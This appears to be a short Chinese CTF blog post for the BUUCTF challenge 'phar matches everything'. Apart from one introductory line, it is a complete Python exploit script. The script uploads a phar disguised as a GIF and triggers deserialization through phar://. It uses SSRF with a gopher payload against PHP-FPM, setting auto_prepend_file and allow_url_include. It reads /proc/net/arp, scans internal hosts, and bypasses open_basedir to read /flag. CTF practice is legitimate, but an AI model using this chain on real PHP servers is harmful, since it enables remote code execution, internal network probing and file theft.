[BUUCTF]phar matches everything

Posted 2021-09-24 Y4tacker

文章目录

• 写在前面
• 脚本

写在前面

网上一堆水文章，看我脚本再理解下就行了，省略分析步骤

脚本

import os
import time
import random
import sys
from io import BytesIO
import requests
import base64
import re
from urllib.parse import quote

PY2 = True if sys.version_info.major == 2 else False


def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])


def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \\
              + bchr(fcgi_type) \\
              + bchr((requestid >> 8) & 0xFF) \\
              + bchr(requestid & 0xFF) \\
              + bchr((length >> 8) & 0xFF) \\
              + bchr(length & 0xFF) \\
              + bchr(0) \\
              + bchr(0) \\
              + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \\
                      + bchr((nLen >> 16) & 0xFF) \\
                      + bchr((nLen >> 8) & 0xFF) \\
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \\
                      + bchr((vLen >> 16) & 0xFF) \\
                      + bchr((vLen >> 8) & 0xFF) \\
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''

            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        # if not self.__connect():
        #     print('connect failure! please check your fasctcgi-server !!')
        #     return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \\
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \\
                                 + bchr(self.keepalive) \\
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(
                FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(
            FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(
                FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(
            FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        return request

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \\
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


def upload(session, index_url, filename) -> str:
    file = {
        'fileToUpload': (filename + '.gif', open(filename, 'rb'), 'image/gif', {})
    }
    r = session.post(index_url + 'upload.php', files=file)
    ptr = re.compile(r'.{10}\\.gif')
    upload_file_name = ptr.search(r.text).group()

    return upload_file_name


def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s



def generate_code_payload(host, port, code):
    client = FastCGIClient(host, port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = "/var/www/html/index.php"
    content = "<?php " + code + "exit();?>"
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '11451',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input\\nopen_basedir = /',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    return client.request(params, content)


def getFlag(ip, port):
    write_payload = generate_code_payload(
        ip, port,
        f"mkdir('/tmp/fuck');chdir('/tmp/fuck');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));readfile('/flag');")
    return f"gopher://{ip}:{port}/_" + quote(write_payload)


def get_ip_pre(url, command):
    rs = requests.session()
    # f = "php 1.php 10.0.124." + str(i)
    f = 'php 1.php ' + command
    os.system(f)
    name = upload(rs, url, "phar.gif")
    data = {
        'name': 'phar://./uploads/' + name,
        'submit': ''
    }
    r = rs.post(
        url + "catchmime.php?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D",
        data=data)
    ipp = r.text.split('       ')[-5].split("\\n")[-1].split(".")[0:-1]
    ipp = ".".join(ipp) + "."
    return ipp


def generate_exec(url, command):
    rs = requests.session()
    f = 'php 1.php ' + command
    os.system(f)
    name = upload(rs, url, "phar.gif")
    data = {
        'name': 'phar://./uploads/' + name,
        'submit': ''
    }
    r = rs.post(
        url + "catchmime.php?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D",
        data=data)
    return r.text


if __name__ == '__main__':
    url = 'http://a1cead5d-bdbc-4634-9d51-a4bbad9c06bd.node4.buuoj.cn:81/'
    ip_pre = get_ip_pre(url, "file:///proc/net/arp")
    time.sleep(1)

    for i in range(5, 256):
        r = generate_exec(url, ip_pre + str(i))
        if "PHP-FPM" in r:
            ip = ip_pre + str(i)
            atk = getFlag(ip, '9000')
            time.sleep(1)
            r = generate_exec(url, atk)
            print(re.findall("flag\\{.*}",r)[0])
            exit()
        time.sleep(1)